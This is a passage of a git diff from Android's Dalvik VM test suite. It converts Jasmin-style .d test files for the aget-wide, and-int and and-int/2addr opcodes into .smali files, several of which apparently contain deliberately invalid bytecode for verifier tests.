-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_5.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       const-wide v2, 10
-       aget-wide v0, v6, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.smali
new file mode 100644
index 0000000..382ddb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_5.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       const-wide v2, 10
+       aget-wide v0, v6, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.d
deleted file mode 100644
index 39054f3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_6.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(Ljava/lang/Object;I)J
-.limit regs 8
-
-       aget-wide v0, v6, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.smali
new file mode 100644
index 0000000..8530969
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_6.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/Object;I)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.d
deleted file mode 100644
index ace153e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_7.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([II)J
-.limit regs 8
-
-       aget-wide v0, v6, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.smali
new file mode 100644
index 0000000..f6a1464
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_7.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([II)J
+.registers 8
+
+       aget-wide v0, v6, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.d
deleted file mode 100644
index dfe1b21..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_8.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       aget-wide v0, v6, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.smali
new file mode 100644
index 0000000..4e6ffb2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_8.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v0, v6, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.d
deleted file mode 100644
index fe00c45..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_aget_wide_9.java
-.class public dot.junit.opcodes.aget_wide.d.T_aget_wide_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run([JI)J
-.limit regs 8
-
-       aget-wide v0, v6, v8
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.smali
new file mode 100644
index 0000000..72afc2d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/aget_wide/d/T_aget_wide_9.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_aget_wide_9.java"
+.class  public Ldot/junit/opcodes/aget_wide/d/T_aget_wide_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run([JI)J
+.registers 8
+
+       aget-wide v0, v6, v8
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.d
deleted file mode 100644
index b1f2984..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_1.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.smali
new file mode 100644
index 0000000..b2c175d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_1.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.d
deleted file mode 100644
index f57ddbc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       and-int v2, v0, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.smali
new file mode 100644
index 0000000..7bded18
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       and-int v2, v0, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.d
deleted file mode 100644
index 033b3af..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_3.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 31415
-       and-int v2, v0, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.smali
new file mode 100644
index 0000000..b8e8b1e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_3.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 31415
+       and-int v2, v0, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.d
deleted file mode 100644
index 9759124..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_4.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int v0, v2, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.smali
new file mode 100644
index 0000000..03018a2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_4.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int v0, v2, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.d
deleted file mode 100644
index b7480ff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_5.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-       and-int v0, v2, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.smali
new file mode 100644
index 0000000..834ff36
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_5.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       and-int v0, v2, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.d
deleted file mode 100644
index 7a3d212..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_6.java
-.class public dot.junit.opcodes.and_int.d.T_and_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int v0, v2, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.smali
new file mode 100644
index 0000000..73ad3f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int/d/T_and_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_6.java"
+.class  public Ldot/junit/opcodes/and_int/d/T_and_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int v0, v2, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.d
deleted file mode 100644
index faf2f0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_1.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.smali
new file mode 100644
index 0000000..37b7019
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.d
deleted file mode 100644
index 5906582..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_2.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 3.1415
-       and-int/2addr v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.smali
new file mode 100644
index 0000000..7499925
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2.smali
@@ -0,0 +1,35 @@
